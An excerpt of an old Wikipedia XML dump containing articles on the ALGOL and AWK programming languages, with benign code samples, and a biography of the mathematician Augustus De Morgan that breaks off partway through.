There are three official main branches of ALGOL family: [[ALGOL 58]], '''ALGOL 60''', and [[ALGOL 68]]. Of these, ALGOL 60 was the most widely known in the [[United States]]. [[Niklaus Wirth]] based his own [[Algol-W]] on ALGOL 60, before moving to develop [[Pascal programming language|Pascal]]. [[Algol-W]] was intended to be the next generation ALGOL, but the [[ALGOL 68]] committee decided on a design that was more complex and advanced rather than a cleaned, simplified ALGOL 60. The official ALGOL versions are named after the year they were first published. ALGOL 58 was originally known as the '''IAL''' (for '''I'''nternational '''A'''lgorithmic '''L'''anguage.)

''Note: '' throughout its effective life, the name of the programming language ALGOL was always presented in all-uppercase letters, and this is the practice adopted here.

==History==

ALGOL was developed jointly by a committee of European and American computer scientists. It specified three different syntaxes: a reference syntax, a publication syntax, and an implementation syntax. The different syntaxes permitted it to use different keyword names and conventions for decimal points (commas vs. periods) for different languages.

[[John Backus]] developed the [[Backus normal form]] method of describing programming languages specifically for ALGOL 58. It was revised and expanded by [[Peter Naur]] to the [[Backus-Naur form]] for ALGOL 60. Both [[John Backus]] and [[Peter Naur]] served on the committee which created ALGOL 60, as did [[Wally Feurzeig]] who later created [[Logo programming language|Logo]]. ALGOL 60 inspired many languages that followed it; the canonical quote in this regard is [[C.A.R. Hoare]]'s &quot;ALGOL 60 was a great improvement on its successors.&quot; The full quote is &quot;Here is a language so far ahead of its time, that it was not only an improvement on its predecessors, but also on nearly all its successors&quot;, but the [[Aphorism|aphoristic]] version is far better known. It is sometimes erroneously attributed to [[Edsger Dijkstra]], also known for his pointed comments, who helped to implement an early ALGOL 60 [[compiler]]. (This statement was in part a criticism of the bloatedness of ALGOL 68.)

The [[Burroughs Corporation]]'s [[B5000]] and its successors were [[stack machine]]s designed to be programmed in an extended variant of ALGOL 60, known as [[Elliott ALGOL]]; indeed their [[operating system]] the [[Master Control Program|MCP]], was written in Elliott ALGOL as far back as 1961. The [[Unisys Corporation]] still markets machines descended from the B5000 today, running the MCP and supporting a diverse set of Elliott ALGOL compilers. Another early implementation was [[Dartmouth ALGOL 30]] on the [[LGP-30]] computer.

==Properties==
ALGOL 60 as officially defined had no I/O facilities; implementations defined their own in ways that were rarely compatible with each other. In contrast, ALGOL 68 offered an extensive library of ''transput'' (ALGOL 68 parlance for Input/Output) facilities.

ALGOL 60 allowed for two [[evaluation strategy|evaluation strategies]] for [[Parameter (computer science)|parameter]] passing: the common call-by-value, and call-by-name.  Call-by-name had certain limitations in contrast to call-by-reference, making it an undesirable feature in language design. For example, it is impossible in ALGOL 60 to develop a procedure that will swap the values of two parameters if the actual parameters that are passed in are an integer variable and an array that is indexed by that same integer variable. However, call-by-name is still beloved of ALGOL implementors for the interesting &quot;[[thunk|thunks]]&quot; that are used to implement it.

ALGOL 68 was defined using a two-level grammar formalism invented by [[Adriaan van Wijngaarden]] and which bears his name. ''Van Wijngaarden grammars'' use a [[context-free grammar]] to generate an infinite set of productions that will recognize a particular ALGOL 68 program; notably, they are able to express the kind of requirements that in many other programming language standards are labelled &quot;semantics&quot; and have to be expressed in ambiguity-prone natural language prose, and then implemented in compilers as ''ad hoc'' code attached to the formal language parser.

== Code sample (ALGOL 60) ==

(The way the bolded text has to be written depends on the implementation, e.g. 'INTEGER' (including the quotation marks) for '''integer'''.)

 '''procedure''' Absmax(a) Size:(n, m) Result:(y) Subscripts:(i, k);
     '''value''' n, m; '''array''' a; '''integer''' n, m, i, k; '''real''' y;
 '''comment''' The absolute greatest element of the matrix a, of size n by m 
 is transferred to y, and the subscripts of this element to i and k;
 '''begin''' '''integer''' p, q;
     y := 0; i := k := 1;
     '''for''' p:=1 '''step''' 1 '''until''' n '''do'''
     '''for''' q:=1 '''step''' 1 '''until''' m '''do'''
         '''if''' abs(a[p, q]) &gt; y '''then'''
             '''begin''' y := abs(a[p, q]);
             i := p; k := q
             '''end'''
 '''end''' Absmax

Here's an example of how to produce a table using Elliott 803 ALGOL.

  FLOATING POINT ALGOL TEST'
  BEGIN REAL A,B,C,D'
 
  READ D'
 
  FOR A:= 0.0 STEP D UNTIL 6.3 DO
  BEGIN
    PRINT PUNCH(3),££L??'
    B := SIN(A)'
    C := COS(A)'
    PRINT PUNCH(3),SAMELINE,ALIGNED(1,6),A,B,C'
  END'
  END'

PUNCH(3) sends output to the teleprinter rather than the tape punch.&lt;br&gt;
SAMELINE suppresses the carriage return + line feed normally printed between arguments.&lt;br&gt;
ALIGNED(1,6) controls the format of the output with 1 digit before and 6 after the decimal point.&lt;br&gt;

==Hello World==
Since ALGOL 60 had no I/O facilities, there is no portable &quot;Hello World&quot; program in ALGOL.  The following code could run on an ALGOL implementation for a Burroughs A-Series mainframe, and is taken from [http://www.engin.umd.umich.edu/CIS/course.des/cis400/algol/hworld.html this site].

 BEGIN
 FILE F (KIND=REMOTE);
 EBCDIC ARRAY E [0:11];
 REPLACE E BY &quot;HELLO WORLD!&quot;;
 WHILE TRUE DO
   BEGIN
   WRITE (F, *, E);
   END;
 END.

An alternative example, using Elliott Algol I/O is as follows.  In fact, Elliott Algol used different characters for 'open-string-quote' and 'close-string-quote', but [[ASCII]] does not allow these to be shown here.

  '''program''' HiFolks;
  '''begin'''
     '''print''' &quot;Hello world&quot;;
  '''end''';

Here's a version for the Elliott 803 Algol (A104) The standard Elliott 803 used 5 hole paper tape and thus only had upper case.  The code lacked any quote characters so £ (UK Pound Sign) was used for open quote and ? (Question Mark) for close quote.  Special sequencies were placed in double quotes e.g. ££L?? produced a new line on the teleprinter.   

   HIFOLKS’  
   BEGIN
      PRINT £HELLO WORLD£L??’
   END’

==See also==
* [[ALGOL 68]]
* [[JOVIAL]]
* [[VALGOL programming language]], a spoof of ALGOL mixed with [[Valley girl]] slang.

== External links ==
* [http://www.masswerk.at/algol60/report.htm Revised Report on the Algorithmic Language Algol 60] by Peter Naur, et al. ALGOL definition
* A BNF [http://www.lrz.de/~bernhard/Algol-BNF.html syntax summary] of ALGOL 60
* [http://www.braithwaite-lee.com/opinions/p75-hoare.pdf &quot;The Emperor's Old Clothes&quot;] -- Hoare's 1980 ACM Turing Award speech, which discusses ALGOL history and his involvement
* [http://www.billp.org/ccs/A104/ &quot;803 ALGOL&quot;] The manual for Elliott 803 ALGOL.
* [http://rogerdmoore.ca/JOUR/  AN IMPLEMENTATION OF ALGOL 60 FOR THE FP6000] Discussion of some implementation issues.

{{Major programming languages small}}

[[Category:Imperative programming languages]]
[[Category:Procedural programming languages]]
[[Category:Programming languages]]
[[Category:Structured programming languages]]

[[bg:ALGOL]]
[[da:ALGOL]]
[[de:ALGOL]]
[[es:Algol]]
[[fr:Algol (langage)]]
[[ko:알골 프로그래밍 언어]]
[[it:ALGOL]]
[[nl:Algol (programmeertaal)]]
[[ja:ALGOL]]
[[pl:Algol (język programowania)]]
[[pt:ALGOL]]
[[ru:Алгол]]
[[sk:ALGOL]]
[[sv:Algol (programspråk)]]
[[tr:ALGOL]]</text>
    </revision>
  </page>
  <page>
    <title>AWK programming language</title>
    <id>1456</id>
    <revision>
      <id>41968591</id>
      <timestamp>2006-03-02T23:12:16Z</timestamp>
      <contributor>
        <username>DavidDouthitt</username>
        <id>465615</id>
      </contributor>
      <comment>/* Sample applications */ gave titles to examples; removed example which would be meaningless to majority of general populace and useless to most of the rest</comment>
      <text xml:space="preserve">'''AWK''' is a general purpose [[computer language]] that is designed for processing text-based data, either in files or data streams. The name AWK is derived from the [[surname]]s of its authors — [[Alfred V. Aho|Alfred V. '''A'''ho]], [[Peter J. Weinberger|Peter J. '''W'''einberger]], and [[Brian Kernighan|Brian W. '''K'''ernighan]]; however, it is commonly pronounced &quot;awk&quot; and not as a string of separate letters. &lt;tt&gt;awk&lt;/tt&gt;, when written in all lowercase letters, refers to the [[Unix]] program that runs other programs written in the AWK programming language.

AWK is an example of a [[programming language]] that extensively uses the [[String (computer science)|string]] [[datatype]], [[associative array]]s (that is, arrays indexed by key strings), and [[regular expression]]s. The power, terseness, and limitations of AWK programs and [[sed]] scripts inspired [[Larry Wall]] to write [[Perl]]. Because of their dense notation, all these languages are often used for writing [[one-liner program]]s.

AWK is one of the early tools to appear in [[Version 7 Unix]] and gained popularity as a way to add computational features to a Unix [[Pipeline (Unix)|pipeline]].
A version of the AWK language is a standard feature of nearly every modern [[Unix-like]] [[operating system]] available today. AWK is mentioned in the [[Single UNIX Specification]] as one of the mandatory utilities of a [[Unix]] [[operating system]]. Besides the [[Bourne shell]], AWK is the only other scripting language available in a [http://www.unix.org/version3/apis/cu.html standard Unix environment]. Implementations of AWK exist as installed software for almost all other operating systems.

==Structure of AWK programs==
Generally speaking, two pieces of data are given to AWK: a command file and a primary input file. A command file (which can be an actual file, or can be included in the [[command line]] invocation of &lt;tt&gt;awk&lt;/tt&gt;) contains a series of commands which tell AWK how to process the input file. The primary input file is typically text that is formatted in some way; it can be an actual file, or it can be read by &lt;tt&gt;awk&lt;/tt&gt; from the standard input. A typical AWK program consists of a series of lines, each of the form

 /''pattern''/ { ''action'' }

where ''pattern'' is a [[regular expression]] and ''action'' is a command. AWK looks through the input file; when it finds a line that matches ''pattern'', it executes the command(s) specified in ''action''. Alternate line forms include:

; &lt;tt&gt;BEGIN { ''action'' }&lt;/tt&gt;
: Executes ''action'' commands at the beginning of the script execution, i.e. before any of the lines are processed.
; &lt;tt&gt;END { ''action'' }&lt;/tt&gt;
: Similar to the previous form, but executes ''action'' ''after'' the end of input.
; &lt;tt&gt;/''pattern''/&lt;/tt&gt;
: Prints any lines matching ''pattern''.
; &lt;tt&gt;{ ''action'' }&lt;/tt&gt;
: Executes ''action'' for each line in the input.

Each of these forms can be included multiple times in the command file. Lines in the command file are executed in order, so if there are two &quot;BEGIN&quot; statements, the first is executed, then the second, and then the rest of the lines. BEGIN and END statements do ''not'' have to be located before and after (respectively) the other lines in the command file.

AWK was created as a broadbased replacement to [[C programming language|C]] algorithmic approaches developed to integrate text parsing methods.

==AWK commands==
AWK commands are the statement that is substituted for ''action'' in the examples above. AWK commands can include function calls, variable assignments, calculations, or any combination thereof. AWK contains built-in support for many functions; many more are provided by the various flavors of AWK. Also, some flavors support the inclusion of [[dynamically linked library|dynamically linked libraries]], which can also provide more functions.

For brevity, the enclosing curly braces ( ''{ }'' ) will be omitted from these examples.

===The ''print'' command===
The ''print'' command is used to output text.  The simplest form of this command is

 print

This displays the contents of the current line. In AWK, lines are broken down into ''fields'', and these can be displayed separately:

; &lt;tt&gt;print $1&lt;/tt&gt;
: Displays the first field of the current line
; &lt;tt&gt;print $1, $3&lt;/tt&gt;
: Displays the first and third fields of the current line, separated by a predefined string called the output field separator (OFS) whose default value is a single space character

Although these fields (''$X'') may bear resemblance to variables (the $ symbol indicates variables in perl), they actually refer to the fields of the current line.  A special case, ''$0'', refers to the entire line.  In fact, the commands &quot;&lt;tt&gt;print&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;print $0&lt;/tt&gt;&quot; are identical in functionality.

The ''print'' command can also display the results of calculations and/or function calls:

 print 3+2
 print foobar(3)
 print foobar(variable)
 print sin(3-2)

Output may be sent to a file:

 print &quot;expression&quot; &gt; &quot;file name&quot;

===Variables, et cetera===
Variable names can use any of the characters [A-Za-z0-9_], with the exception of language keywords. The operators ''+ - * /'' are addition, subtraction, multiplication, and division, respectively. For string concatenation, simply place two variables (or string constants) next to each other, optionally with a space in between. String constants are [[delimited]] by double quotes. Statements need not end with semicolons. Finally, comments can be added to programs by using ''#'' as the first character on a line.

===User-defined functions===
In a format similar to [[C programming language|C]], function definitions consist of the keyword &lt;tt&gt;function&lt;/tt&gt;, the function name, argument names and the function body.  Here is an example function:

 function add_three(number, temp) {
   temp = number + 3
   return temp
 }

This statement can be invoked as follows:

 print add_three(36)     # prints '''39'''

Functions can have variables that are in the local scope. The names of these are added to the end of the argument list, though values for these should be omitted when calling the function. It is convention to add some [[whitespace]] in the argument list before the local variables, in order to indicate where the parameters end and the local variables begin.

==Sample applications==
===Hello World===
Here is the ubiquitous &quot;[[Hello world program]]&quot; program written in AWK:

 BEGIN { print &quot;Hello, world!&quot;; exit }

===Print lines longer than 80 characters===
Print all lines longer than 80 characters. Note that the default action is to print the current line.

 length &gt; 80 

===Print a count of words===
Count words in the input, and print lines, words, and characters (like ''wc'')

 { w += NF; c += length}
 END { print NR, w, c }

===Sum first column===
Sum first column of input

 { s += $1 }
 END { print s }

===Calculate word frequencies===
Word frequency, (uses [[associative array]]s)

 BEGIN { FS=&quot;[^a-zA-Z]+&quot;}
 
 { for (i=1; i&lt;=NF; i++)
      words[tolower($i)]++
 }
 
 END { for (i in words)
     print i, words[i]
 }

==Self-contained AWK scripts==
As with many other programming languages, self-contained AWK script can be constructed using the so-called &quot;[[shebang (Unix)|shebang]]&quot; syntax.

For example, a UNIX command called &lt;tt&gt;hello.awk&lt;/tt&gt; that prints the string &quot;Hello, world!&quot; may be built by going first creating a file named &lt;tt&gt;hello.awk&lt;/tt&gt; containing the following lines:

 #!/usr/bin/awk -f
 BEGIN { print &quot;Hello, world!&quot;; exit }

==AWK versions and implementations==
AWK was originally written in [[1977]], and distributed with [[Version 7 Unix]].

In [[1985]] its authors started expanding the language, most significantly by adding user-defined functions. The language is described in the book ''The AWK Programming Language'',published [[1988]], and its implementation was made available in releases of [[UNIX System V]]. To avoid confusion with the incompatible older version, this version was sometimes known as &quot;new awk&quot; or ''nawk''. This implementation was released under a [[free software license]] in [[1996]], and is still maintained by Brian Kernighan.

[[GNU]] awk, or ''gawk'', is another free software implementation.  It was written before the original implementation became freely available, and is still widely used. Almost every [[Linux distribution]] comes with a recent version of ''gawk'' and ''gawk'' is widely recognized as the de-facto standard implementation in the [[Linux]] world.

xgawk is a SourceForge project based on ''gawk''. It extends ''gawk'' with dynamically loadable libraries.

mawk is a very fast AWK implementation by Mike Brennan based on a [[byte code]] interpreter.

Downloads and further information about these versions are available from the sites listed below.

==Digression==
* The bird emblematic of AWK (a.o. on ''The AWK Programming Language'' book cover) is the [[Auk]].

==Books==
* {{cite book
 | author=[[Alfred V. Aho]], [[Brian W. Kernighan]], and [[Peter J. Weinberger]]
 | publisher=Addison-Wesley
 | year= 1988
 | id=ISBN 0-201-07981-X
 | url=http://cm.bell-labs.com/cm/cs/awkbook/ 
 | title=The AWK Programming Language
 }}. ''The book's webpage includes downloads of the original implementation of Awk and links to others.''
* {{cite book
 | author=[[Arnold Robbins]]
 | url=http://www.oreilly.com/catalog/awkprog3/index.html
 | edition=Edition 3
 | title=Effective awk Programming
 }}. ''Arnold Robbins maintains the GNU Awk implementation of AWK for more than 10 years. The free GNU Awk manual was also published by O'Reilly in May 2001. Free download of this manual is possible through the following book references.''
* {{cite book
 | author=[[Arnold Robbins]]
 | url=http://www.gnu.org/software/gawk/manual/html_node/index.html
 | edition=Edition 3
 | title=GAWK: Effective AWK Programming: A User's Guide for GNU Awk
 }}
* {{cite book
 | title=sed &amp; awk, Second Edition
 | author=[[Dale Dougherty]], [[Arnold Robbins]]
 |edition= Second Edition
 | year = March 1997
 | id=ISBN 1-56592-225-5
 | url=http://www.oreilly.com/catalog/sed2/
 | publisher=[[O'Reilly Media]]
 }}

==External links==
*[news:comp.lang.awk comp.lang.awk] is a [[USENET]] [[newsgroup]] dedicated to AWK.
*[http://www.gnu.org/software/gawk/gawk.html GAWK (GNU awk) webpage]
*[http://freshmeat.net/projects/mawk/ ''mawk download site'']
*[http://clio.rice.edu/djgpp/win2k/gwk311b.zip DJGPP port of Gawk 3.11b as a downloadable 768KB zipfile]
*[https://sourceforge.net/projects/xmlgawk/ ''xgawk download site'']

{{Major programming languages small}}

[[Category:Curly bracket programming languages|AWK]]
[[Category:Domain-specific programming languages]]
[[Category:Text-oriented programming languages]]
[[Category:Scripting languages]]
[[Category:Unix shells]]
[[Category:Unix software]]

[[ca:Awk]]
[[cs:AWK]]
[[de:Awk]]
[[es:AWK]]
[[fr:Awk]]
[[ko:AWK 프로그래밍 언어]]
[[hr:Awk]]
[[it:Awk]]
[[hu:Awk programozási nyelv]]
[[nl:AWK]]
[[ja:AWK]]
[[no:Awk]]
[[pl:Awk]]
[[pt:AWK]]
[[ru:AWK]]
[[sk:AWK (programovací jazyk)]]
[[tr:AWK]]
[[uk:Мова програмування AWK]]
[[zh:AWK]]</text>
    </revision>
  </page>
  <page>
    <title>Alzheimers disease</title>
    <id>1457</id>
    <revision>
      <id>15899938</id>
      <timestamp>2002-04-27T16:47:03Z</timestamp>
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      <text xml:space="preserve">'''Augustus De Morgan''' ([[June 27]], [[1806]] – [[March 18]], [[1871]]) was an [[India|Indian-born]] [[United Kingdom|British]] [[mathematician]] and [[logician]]. He formulated [[De Morgan's laws]] and was the first to introduce the term, and make rigorous the idea of [[mathematical induction]].{{rf|1|De_Morgan}}  [[De Morgan (crater)|De Morgan crater]] on the [[Moon]] is named after him.

[[Image:AugustusDeMorgan.png|right|float|Augustus De Morgan]]

==Biography==
===Childhood===
Augustus De Morgan was born June 27, 1806{{rf|2|birthyear}} in Madura, [[Madras Presidency]], [[India]] (now [[Madurai]], [[Tamil Nadu]], India); His father was Col. De Morgan, who held various appointments in the service of the [[British East India Company|East India Company]]. His mother descended from [[James Dodson]], who computed a table of anti-logarithms, that is, the numbers corresponding to exact [[logarithm]]s. Col. De Morgan moved his family to [[England]] when Augustus was seven months old. As his father and grandfather had both been born in India, De Morgan used to say that he was neither English, nor Scottish, nor Irish, but a Briton &quot;unattached,&quot; using the technical term applied to an undergraduate of [[Oxford]] or [[Cambridge]] who is not a member of any one of the Colleges.

When De Morgan was ten years old, his father died. Mrs. De Morgan resided at various places in the southwest of England, and her son received his elementary education at various schools of no great account. His mathematical talents were unnoticed till he had reached the age of fourteen. A friend of the family accidentally discovered him making an elaborate drawing of a figure in [[Euclid]] with ruler and compasses, and explained to him the aim of Euclid, and gave him an initiation into demonstration.

De Morgan suffered from a physical defect&amp;mdash;one of his eyes was rudimentary and useless. As a consequence, he did not join in the sports of the other boys, and he was even made the victim of cruel practical jokes by some schoolfellows. Some [[psychologist]]s have held that the perception of distance and of solidity depends on the action of two eyes, but De Morgan testified that so far as he could make out he perceived with his one eye distance and solidity just like other people.

He received his secondary education from Mr. Parsons, a Fellow of Oriel College, Oxford, who could appreciate classics much better than mathematics. His mother was an active and ardent member of the [[Church of England]], and desired that her son should become a clergyman; but by this time De Morgan had begun to show his non-grooving disposition, due no doubt to some extent to his physical infirmity.

===University education===
In [[1823]], at the age of sixteen he entered [[Trinity College, Cambridge]], where he immediately came under the tutorial influence of [[George Peacock]] and [[William Whewell]]. They became his life-long friends; from the former he derived an interest in the renovation of algebra, and from the latter an interest in the renovation of logic&amp;mdash;the two subjects of his future life work.

At college the [[flute]], on which he played exquisitely, was his recreation. He took no part in athletics but was prominent in the musical clubs. His love of knowledge for its own sake interfered with training for the great mathematical race; as a consequence he came out fourth [[wrangler]]. This entitled him to the degree of [[Bachelor of Arts]]; but to take the higher degree of [[Master of Arts (postgraduate)|Master of Arts]] and thereby become eligible for a fellowship it was then necessary to pass a theological test. To the signing of any such test De Morgan felt a strong objection, although he had been brought up in the [[Church of England]]. In about [[1875]] theological tests for academic degrees were abolished in the Universities of Oxford and Cambridge.

===London University===
As no career was open to him at his own university, he decided to go to the Bar, and took up residence in [[London]]; but he much preferred teaching mathematics to reading law. About this time the movement for founding the London University took shape. The two ancient universities of Oxford and Cambridge were so guarded by theological tests that no Jew or Dissenter outside the Church of England could enter as a student, still less be appointed to any office. A body of liberal-minded men resolved to meet the difficulty by establishing in London a University on the principle of religious neutrality. De Morgan, then 22 years of age, was appointed Professor of Mathematics. His introductory lecture &quot;On the study of mathematics&quot; is a discourse upon mental education of permanent value which has been recently reprinted in the United States.

The London University was a new institution, and the relations of the Council of management, the Senate of professors and the body of students were not well defined. A dispute arose between the professor of anatomy and his students, and in consequence of the action taken by the Council, several of the professors resigned, headed by De Morgan. Another professor of mathematics was appointed, who was accidentally drowned a few years later. De Morgan had shown himself a prince of teachers: he was invited to return to his chair, which thereafter became the continuous centre of his labours for thirty years.

The same body of reformers&amp;mdash;headed by [[Henry Peter Brougham, 1st Baron Brougham and Vaux|Lord Brougham]], a Scotsman eminent both in science and politics who had instituted the London University&amp;mdash;founded about the same time a [[Society for the Diffusion of Useful Knowledge]]. Its object was to spread scientific and other knowledge by means of cheap and clearly written treatises by the best writers of the time. One of its most voluminous and effective writers was De Morgan. He wrote a great work on ''The Differential and Integral Calculus'' which was published by the Society; and he wrote one-sixth of the articles in the ''Penny Cyclopedia'', published by the Society, and issued in penny numbers. When De Morgan came to reside in London he found a congenial friend in William Frend, notwithstanding his mathematical heresy about negative quantities. Both were arithmeticians and actuaries, and their religious views were somewhat similar. Frend lived in what was then a suburb of London, in a country-house formerly occupied by [[Daniel Defoe]] and [[Isaac Watts]]. De Morgan with his flute was a welcome visitor; and in [[1837]] he married Sophia Elizabeth, one of Frend's daughters.

The London University of which De Morgan was a professor was a different institution from the [[University of London]]. The University of London was founded about ten years later by the Government for the purpose of granting degrees after examination, without any qualification as to residence. The London University was affiliated as a teaching college with the University of London, and its name was changed to [[University College, London|University College]]. The University of London was not a success as an examining body; a teaching University was demanded. De Morgan was a highly successful teacher of mathematics. It was his plan to lecture for an hour, and at the close of each lecture to give out a number of problems and examples illustrative of the subject lectured on; his students were required to sit down to them and bring him the results, which he looked over and returned revised before the next lecture. In De Morgan's opinion, a thorough comprehension and mental assimilation of great principles far outweighed in importance any merely analytical dexterity in the application of half-understood principles to particular cases.

De Morgan had a son George, who acquired great distinction in mathematics both at University College and the University of London. He and another like-minded alumnus conceived the idea of founding a Mathematical Society in London, where mathematical papers would be not only received (as by the Royal Society) but actually read and discussed. The first meeting was held in University College; De Morgan was the first president, his son the first secretary. It was the beginning of the [[London Mathematical Society]].

===Retirement and death===
In the year [[1866]] the chair of mental philosophy in University College fell vacant. Dr. Martineau, a [[Unitarian]] clergyman and professor of mental philosophy, was recommended formally by the Senate to the Council; but in the Council there were some who objected to a Unitarian clergyman, and others who objected to theistic philosophy. A layman of the school of Bain and Spencer was appointed. De Morgan considered that the old standard of religious neutrality had been hauled down, and forthwith resigned. He was now 60 years of age. His pupils secured a pension of $ 500 for him, but misfortunes followed. Two years later his son George -- the younger Bernoulli, as he loved to hear him called, in allusion to the two eminent mathematicians of that name, related as father and son -- died. This blow was followed by the death of a daughter. Five years after his resignation from University College De Morgan died of nervous prostration on [[March 18]] [[1871]], in the 65th year of his age.

==Mathematical work==
De Morgan was a brilliant and witty writer, whether as a controversialist or as a correspondent. In his time there flourished two Sir [[William Hamilton]]s who have often been confounded. The one was [[Sir William Hamilton, 9th Baronet]] (that is, his title was inherited), a Scotsman, professor of logic and metaphysics at the University of Edinburgh; the other was a knight (that is, won the title), an Irishman, professor at astronomy in the University of Dublin. The baronet contributed to logic, especially the doctrine of the quantification of the predicate; the knight, whose full name was [[William Rowan Hamilton]], contributed to mathematics, especially [[geometric algebra]], and first described the [[Quaternion]]s. De Morgan was interested in the work of both, and corresponded with both; but the correspondence with the Scotsman ended in a public controversy, whereas that with the Irishman was marked by friendship and terminated only by death. In one of his letters to Rowan, De Morgan says, &quot;Be it known unto you that I have discovered that you and the other Sir W. H. are reciprocal polars with respect to me (intellectually and morally, for the Scottish baronet is a polar bear, and you, I was going to say, are a polar gentleman). When I send a bit of investigation to [[Edinburgh]], the W. H.  of that ilk says I took it from him. When I send you one, you take it from me, generalize it at a glance, bestow it thus generalized upon society at large, and make me the second discoverer of a known theorem.&quot;

The correspondence of De Morgan with Hamilton the mathematician extended over twenty-four years; it contains discussions not only of mathematical matters, but also of subjects of general interest.  It is marked by geniality on the part of Hamilton and by wit on the part of De Morgan. The following is a specimen: Hamilton wrote, &quot;My copy of Berkeley's work is not mine; like Berkeley, you know, I am an Irishman.&quot; De Morgan replied, &quot;Your phrase 'my copy is not mine' is not a bull. It is perfectly good English to use the same word in two different senses in one sentence, particularly when there is usage. Incongruity of language is no bull, for it expresses meaning. But incongruity of ideas (as in the case of the Irishman who was pulling up the rope, and finding it did not finish, cried out that somebody had cut off the other end of it) is the genuine bull.&quot;

De Morgan was full of personal peculiarities. We have noticed his almost morbid attitude towards religion, and the readiness with which he would resign an office. On the occasion of the installation of his friend, Lord Brougham, as Rector of the University of Edinburgh, the Senate offered to confer on him the honorary degree of LL. D.; he declined the honour as a misnomer. He once printed his name: Augustus De Morgan, ''H - O - M - O - P - A - U - C - A - R - U - M - L - I - T - E - R - A - R - U - M''.

He disliked the country, and while his family enjoyed the seaside, and men of science were having a good time at a meeting of the British Association in the country he remained in the hot and dusty libraries of the metropolis. He said that he felt like [[Socrates]], who declared that the farther he got from [[Athens]] the farther was he from happiness. He never sought to become a [[Fellow of the Royal Society]], and he never attended a meeting of the Society; he said that he had no ideas or sympathies in common with the physical philosopher. His attitude was doubtless due to his physical infirmity, which prevented him from being either an observer or an experimenter. He never voted at an election, and he never visited the [[House of Commons]], or the [[Tower of London]], or [[Westminster Abbey]].

Were the writings of De Morgan published in the form of collected works, they would form a small library. We have noticed his writings for the Useful Knowledge Society. Mainly through the efforts of Peacock and Whewell, a Philosophical Society had been inaugurated at Cambridge; and to its Transactions De Morgan contributed four memoirs on the foundations of algebra, and an equal number on formal logic. The best presentation of his view of algebra is found in a volume, entitled ''Trigonometry and Double Algebra'', published in [[1849]]; and his earlier view of formal logic is found in a volume published in [[1847]]. His most unique work is styled a ''Budget of Paradoxes''; it originally appeared as letters in the columns of the ''Athenæum'' journal; it was revised and extended by De Morgan in the last years of his life, and was published posthumously by his widow. If you wish to read something entertaining, get De Morgan's ''Budget of Paradoxes'' out of the library. We shall consider more at length his theory of algebra, his contribution to exact logic, and his Budget of Paradoxes.

[[George Peacock]]'s theory of algebra was much improved by D. F. Gregory, a younger member of the Cambridge School, who laid stress not on the permanence of equivalent forms, but on the permanence of certain formal laws. This new theory of algebra as the science of symbols and of their laws of combination was carried to its logical issue by De Morgan; and his doctrine on the subject is still followed by English algebraists in general.  Thus Chrystal founds his ''Textbook of Algebra'' on De Morgan's theory; although an attentive reader may remark that he practically abandons it when he takes up the subject of infinite series. De Morgan's theory is stated in his volume on ''Trigonometry and Double Algebra''. In the chapter (of the book) headed &quot;On symbolic algebra&quot; he writes: &quot;In abandoning the meaning of symbols, we also abandon those of the words which describe them. Thus addition is to be, for the present, a sound void of sense. It is a mode of combination represented by &lt;math&gt;+&lt;/math&gt;; when &lt;math&gt;+&lt;/math&gt; receives its meaning, so also will the word addition. It is most important that the student should bear in mind that, with one exception, no word nor sign of arithmetic or algebra has one atom of meaning throughout this chapter, the object of which is symbols, and their laws of combination, giving a symbolic algebra which may hereafter become the grammar of a hundred distinct significant algebras. If any one were to assert that &lt;math&gt;+&lt;/math&gt; and &lt;math&gt;-&lt;/math&gt; might mean reward and punishment, and &lt;math&gt;A&lt;/math&gt;, &lt;math&gt;B&lt;/math&gt;, &lt;math&gt;C&lt;/math&gt;, etc., might stand for virtues and vices, the reader might believe him, or contradict him, as he pleases, but not out of this chapter. The one exception above noted, which has some share of meaning, is the sign &lt;math&gt;=&lt;/math&gt; placed between two symbols as in &lt;math&gt;A = B&lt;/math&gt;. It indicates that the two symbols have the same resulting meaning, by whatever steps attained. That &lt;math&gt;A&lt;/math&gt; and &lt;math&gt;B&lt;/math&gt;, if quantities, are the same amount of quantity; that if operations, they are of the same effect, etc.&quot;

Here, it may be asked, why does the symbol &lt;math&gt;=&lt;/math&gt; prove refractory to the symbolic theory? De Morgan admits that there is one exception; but an exception proves the rule, not in the usual but illogical sense of establishing it, but in the old and logical sense of testing its validity. If an exception can be established, the rule must fall, or at least must be modified. Here I am talking not of grammatical rules, but of the rules of science or nature.

De Morgan proceeds to give an inventory of the fundamental symbols of algebra, and also an inventory of the laws of algebra. The symbols are 0, 1, +, &amp;minus;, &amp;times;, ÷, ()&lt;sup&gt;()&lt;/sup&gt;, and letters; these only, all others are derived. His inventory of the fundamental laws is expressed under fourteen heads, but some of them are merely definitions. The laws proper may be reduced to the following, which, as he admits, are not all independent of one
another:

#Law of signs. +&amp;nbsp;+&amp;nbsp;=&amp;nbsp;+, +&amp;nbsp;&amp;minus;&amp;nbsp;=&amp;nbsp;&amp;minus;, &amp;minus;&amp;nbsp;+&amp;nbsp;=&amp;nbsp;&amp;minus;, &amp;minus;&amp;nbsp;&amp;minus;&amp;nbsp;=&amp;nbsp;+, &amp;times;&amp;nbsp;&amp;times;&amp;nbsp;=&amp;nbsp;&amp;times;, &amp;times;&amp;nbsp;÷&amp;nbsp;=&amp;nbsp;÷, ÷&amp;nbsp;&amp;times;&amp;nbsp;=&amp;nbsp;÷, ÷&amp;nbsp;÷&amp;nbsp;=&amp;nbsp;&amp;times;.
#Commutative law. ''a''+''b'' = ''b''+''a'', ''ab''=''ba''.
#Distributive law. ''a''(''b''+''c'') = ''ab''+''ac''.
#Index laws. ''a''&lt;sup&gt;''b''&lt;/sup&gt;&amp;times;''a''&lt;sup&gt;''c''&lt;/sup&gt;=''a''&lt;sup&gt;''b''+''c''&lt;/sup&gt;, (''a''&lt;sup&gt;''b''&lt;/sup&gt;)&lt;sup&gt;''c''&lt;/sup&gt;=''a''&lt;sup&gt;''bc''&lt;/sup&gt;, ''(ab)''&lt;sup&gt;''c''&lt;/sup&gt;= ''a''&lt;sup&gt;''c''&lt;/sup&gt;&amp;times;''b''&lt;sup&gt;''c''&lt;/sup&gt;.
#''a''&amp;minus;''a''=0, ''a''÷''a''=1.

